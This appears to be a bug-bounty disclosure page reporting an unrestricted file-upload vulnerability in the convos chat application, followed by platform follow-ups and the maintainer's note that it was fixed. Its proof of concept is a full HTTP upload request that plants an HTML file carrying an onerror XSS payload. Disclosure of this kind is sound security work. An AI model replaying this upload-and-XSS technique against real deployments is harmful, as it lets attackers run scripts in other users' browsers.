Unrestricted Upload of File with Dangerous Type in convos-chat/convos
Valid
Reported on
Dec 14th 2021
Description
Hi there, I would like to report a vulnerability that allows a hacker to upload dangerous file type in convos.
Proof of Concept
Go to a conversation and click on upload file, then upload a file. The request to upload file looks like this:
POST /api/files.json HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------167997991013159712353965185625
Content-Length: 469
Origin: http://localhost:3000
Connection: close
Referer: http://localhost:3000/chat/irc-libera/guest3364
Cookie: convos=eyJjc3JmX3Rva2VuIjoiMzY0NDIxYTJmY2JjN2RjMmU5MjMwMTkzYzM3ZTdlMWY4ZmQ4MTkwYiIsImVtYWlsIjoiYWRtaW5AZ21haWwuY29tIiwiZXhwaXJlcyI6MTY0MDA0NDQ0N31aWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlo---3782ba606ee077a19d45aee14b8d398d431ffcdace1d49aeb8bf9ad1916d60a3; convos_js=eyJsYW5nIjoiZW4ifQ==
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------167997991013159712353965185625
Content-Disposition: form-data; name="file"; filename="a.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Here</title>
</head>
<body>
<img src=a onerror=alert(1)>
</body>
</html>
-----------------------------167997991013159712353965185625--
Then after the html file is created, the hacker can feed this file to users and trigger XSS. Attached is an image of XSS triggered on convos. https://drive.google.com/file/d/17CGwdh-kpzwy0RY2fQXV8VWTQtbn0wCu/view?usp=sharing
Impact
This vulnerability is capable of uploading dangerous file to server
We are processing your report and will contact the
convos-chat/convos
team within 24 hours.
a year ago
We have contacted a member of the
convos-chat/convos
team and are waiting to hear back
a year ago
We have sent a
follow up to the
convos-chat/convos
team.
We will try again in 7 days.
a year ago
We have sent a
second
follow up to the
convos-chat/convos
team.
We will try again in 10 days.
a year ago
We have sent a
third and final
follow up to the
convos-chat/convos
team.
This report is now considered stale.
a year ago
Thank you for the report. I missed out on this email notice, but it has been fixed together with https://huntr.dev/bounties/ae424798-de01-4972-b73b-2db674f82368/
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation